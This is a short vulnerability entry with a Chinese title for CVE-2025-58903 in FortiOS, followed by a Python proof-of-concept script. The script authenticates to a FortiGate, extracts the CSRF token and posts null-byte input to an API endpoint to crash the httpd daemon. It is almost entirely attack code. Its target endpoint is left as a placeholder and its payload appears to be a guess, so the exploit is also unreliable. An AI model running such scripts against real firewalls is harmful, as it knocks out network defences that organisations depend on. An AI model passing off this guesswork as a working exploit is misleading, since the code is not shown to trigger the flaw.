CVE-2025-58903 Fortinet FortiOS API未检查返回值导致拒绝服务漏洞

# CVE-2025-58903 - FortiOS API Unchecked Return Value DoS PoC # This PoC demonstrates triggering a Null Pointer Dereference # in FortiOS HTTP API to crash the httpd daemon. # Requires valid authentication credentials (PR:H). import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TARGET = "https://<fortios-ip>" USERNAME = "<valid_username>" PASSWORD = "<valid_password>" def exploit(): session = requests.Session() # Step 1: Authenticate to obtain a session token login_url = f"{TARGET}/logincheck" login_data = { "username": USERNAME, "secretkey": PASSWORD } resp = session.post(login_url, data=login_data, verify=False) print(f"[*] Login response status: {resp.status_code}") # Extract CSRF token from cookies or response # FortiOS typically sets a cookie like 'ccsrftoken' with a 'XXXXXX' prefix csrf_token = None for cookie in session.cookies: if 'ccsrftoken' in cookie.name: csrf_token = cookie.value.strip('"') # Remove the leading 'XXXXXX' prefix used by FortiGate if csrf_token.startswith('XXXXXX'): csrf_token = csrf_token[6:] break if not csrf_token: print("[!] Failed to obtain CSRF token") return # Step 2: Send a crafted request to the vulnerable API endpoint # The crafted payload targets the unchecked return value path, # causing a NULL pointer dereference in the httpd daemon api_url = f"{TARGET}/api/v2/..." # Target vulnerable API endpoint headers = { "X-CSRFTOKEN": csrf_token, "Content-Type": "application/json" } # Crafted payload designed to trigger NULL return from internal function payload = { # Malformed/edge-case parameters to trigger unchecked NULL return "key": "\x00" * 1024, # Null bytes or oversized input } try: resp = session.post(api_url, json=payload, headers=headers, verify=False, timeout=10) print(f"[*] API response status: {resp.status_code}") except requests.exceptions.ConnectionError: print("[+] Target httpd daemon may have crashed (connection refused)") except requests.exceptions.Timeout: print("[+] Target httpd daemon may have crashed (timeout)") except Exception as e: print(f"[*] Exception: {e}") if __name__ == "__main__": exploit()